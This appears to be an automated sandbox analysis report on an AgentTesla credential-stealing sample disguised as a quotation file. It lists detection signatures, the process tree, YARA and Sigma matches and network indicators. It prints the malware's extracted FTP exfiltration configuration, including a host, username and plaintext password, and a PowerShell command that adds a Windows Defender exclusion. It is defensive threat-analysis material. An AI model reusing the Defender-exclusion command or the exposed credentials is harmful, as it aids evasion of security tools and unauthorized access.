Edit tour

Windows Analysis Report
QUOTATION#09678.exe

Overview

General Information

Sample name:	QUOTATION#09678.exe
Analysis ID:	1548264
MD5:	b415558b19c70c201f8787e507d09b93
SHA1:	bd05a718456b3e0e587feac7a0a4b23734c0fe6d
SHA256:	00a3e3e129b127e288fb531581c3c580679423db15464585798d07465b03944d
Tags:	AgentTeslaexeuser-lowmal3
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected UAC Bypass using CMSTP

.NET source code references suspicious native API functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Disables UAC (registry)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Installs a global keyboard hook

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses FTP

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

QUOTATION#09678.exe (PID: 1104 cmdline: "C:\Users\user\Desktop\QUOTATION#09678.exe" MD5: B415558B19C70C201F8787E507D09B93)

conhost.exe (PID: 3400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4180 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7376 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

AddInProcess32.exe (PID: 5868 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

AddInProcess32.exe (PID: 1136 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

WerFault.exe (PID: 7216 cmdline: C:\Windows\system32\WerFault.exe -u -p 1104 -s 1516 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.ercolina-usa.com", "Username": "admin@ercolina-usa.com", "Password": ",%EVY$JU0=lu"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000004.00000002.4171451807.0000000002DDD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.4171451807.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.4171451807.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: QUOTATION#09678.exe PID: 1104	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: QUOTATION#09678.exe PID: 1104	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: QUOTATION#09678.exe PID: 1104	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: AddInProcess32.exe PID: 5868	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AddInProcess32.exe PID: 5868	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x35fef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x36061:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x360eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3617d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x361e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x36259:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x362ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3637f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x33095:$s2: GetPrivateProfileString 0x326cb:$s3: get_OSFullName 0x33e9d:$s5: remove_Key 0x34033:$s5: remove_Key 0x34f6a:$s6: FtpWebRequest 0x35fd1:$s7: logins 0x36543:$s7: logins 0x39220:$s7: logins 0x39300:$s7: logins 0x3adcd:$s7: logins 0x39e9a:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.QUOTATION#09678.exe.1f3e00bc350.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.QUOTATION#09678.exe.1f3e00bc350.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.QUOTATION#09678.exe.1f3e00bc350.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x341ef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34261:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x342eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3437d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x343e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34459:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x344ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3457f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.QUOTATION#09678.exe.1f3e00bc350.2.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x31295:$s2: GetPrivateProfileString 0x308cb:$s3: get_OSFullName 0x3209d:$s5: remove_Key 0x32233:$s5: remove_Key 0x3316a:$s6: FtpWebRequest 0x341d1:$s7: logins 0x34743:$s7: logins 0x37420:$s7: logins 0x37500:$s7: logins 0x38fcd:$s7: logins 0x3809a:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.QUOTATION#09678.exe.1f3e007af08.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.QUOTATION#09678.exe.1f3e007af08.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.QUOTATION#09678.exe.1f3e007af08.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x341ef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34261:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x342eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3437d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x343e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34459:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x344ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3457f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.QUOTATION#09678.exe.1f3e007af08.1.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x31295:$s2: GetPrivateProfileString 0x308cb:$s3: get_OSFullName 0x3209d:$s5: remove_Key 0x32233:$s5: remove_Key 0x3316a:$s6: FtpWebRequest 0x341d1:$s7: logins 0x34743:$s7: logins 0x37420:$s7: logins 0x37500:$s7: logins 0x38fcd:$s7: logins 0x3809a:$s9: 1.85 (Hash, version 2, native byte-order)
4.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.AddInProcess32.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x35fef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x36061:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x360eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3617d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x361e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x36259:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x362ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3637f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.AddInProcess32.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x33095:$s2: GetPrivateProfileString 0x326cb:$s3: get_OSFullName 0x33e9d:$s5: remove_Key 0x34033:$s5: remove_Key 0x34f6a:$s6: FtpWebRequest 0x35fd1:$s7: logins 0x36543:$s7: logins 0x39220:$s7: logins 0x39300:$s7: logins 0x3adcd:$s7: logins 0x39e9a:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x35fef:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x77437:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x36061:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x774a9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x360eb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x77533:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3617d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x775c5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x361e7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x7762f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x36259:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x776a1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x362ef:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x77737:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3637f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x777c7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x33095:$s2: GetPrivateProfileString 0x744dd:$s2: GetPrivateProfileString 0x326cb:$s3: get_OSFullName 0x73b13:$s3: get_OSFullName 0x33e9d:$s5: remove_Key 0x34033:$s5: remove_Key 0x752e5:$s5: remove_Key 0x7547b:$s5: remove_Key 0x34f6a:$s6: FtpWebRequest 0x763b2:$s6: FtpWebRequest 0x35fd1:$s7: logins 0x36543:$s7: logins 0x39220:$s7: logins 0x39300:$s7: logins 0x3adcd:$s7: logins 0x77419:$s7: logins 0x7798b:$s7: logins 0x7a668:$s7: logins 0x7a748:$s7: logins 0x7c215:$s7: logins 0x39e9a:$s9: 1.85 (Hash, version 2, native byte-order)
Click to see the 18 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\QUOTATION#09678.exe", ParentImage: C:\Users\user\Desktop\QUOTATION#09678.exe, ParentProcessId: 1104, ParentProcessName: QUOTATION#09678.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force, ProcessId: 4180, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\QUOTATION#09678.exe", ParentImage: C:\Users\user\Desktop\QUOTATION#09678.exe, ParentProcessId: 1104, ParentProcessName: QUOTATION#09678.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force, ProcessId: 4180, ProcessName: powershell.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T09:29:22.239239+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.4	49746	TCP
2024-11-04T09:30:00.097094+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.4	49749	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.ercolina-usa.com", "Username": "admin@ercolina-usa.com", "Password": ",%EVY$JU0=lu"}

Multi AV Scanner detection for submitted file

Source: QUOTATION#09678.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: QUOTATION#09678.exe

Joe Sandbox ML: detected

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION#09678.exe PID: 1104, type: MEMORYSTR

Source: unknown

HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49730 version: TLS 1.2

Source: QUOTATION#09678.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: mscorlib.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdbRSDS source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.pdb0 source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.pdbh source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.ni.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERF85.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.pdbh source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERF85.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERF85.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdb source: WERF85.tmp.dmp.8.dr

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, type: UNPACKEDPE

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 192.254.225.136 192.254.225.136
Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View	ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ip-api.com

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.4:49746
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.4:49749

Source: unknown

FTP traffic detected: 192.254.225.136:21 -> 192.168.2.4:49735 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 150 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 150 allowed.220-Local time is now 03:29. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 150 allowed.220-Local time is now 03:29. Server port: 21.220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 150 allowed.220-Local time is now 03:29. Server port: 21.220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: ftp.ercolina-usa.com

Source: AddInProcess32.exe, 00000004.00000002.4171451807.0000000002DDD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.4171451807.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ercolina-usa.com
Source: AddInProcess32.exe, 00000004.00000002.4171451807.0000000002DDD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.4171451807.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.ercolina-usa.com
Source: AddInProcess32.exe, 00000004.00000002.4171451807.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: QUOTATION#09678.exe, 00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.4171451807.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: AddInProcess32.exe, 00000004.00000002.4171451807.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.8.dr	String found in binary or memory: http://upx.sf.net
Source: QUOTATION#09678.exe, 00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: QUOTATION#09678.exe, 00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.4171451807.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: AddInProcess32.exe, 00000004.00000002.4171451807.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: AddInProcess32.exe, 00000004.00000002.4171451807.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown

HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49730 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.raw.unpack, BZbr69Oq62w.cs	.Net Code: vJoJ
Source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack, BZbr69Oq62w.cs	.Net Code: vJoJ

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.QUOTATION#09678.exe.1f3e00bc350.2.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.QUOTATION#09678.exe.1f3e007af08.1.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 4.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
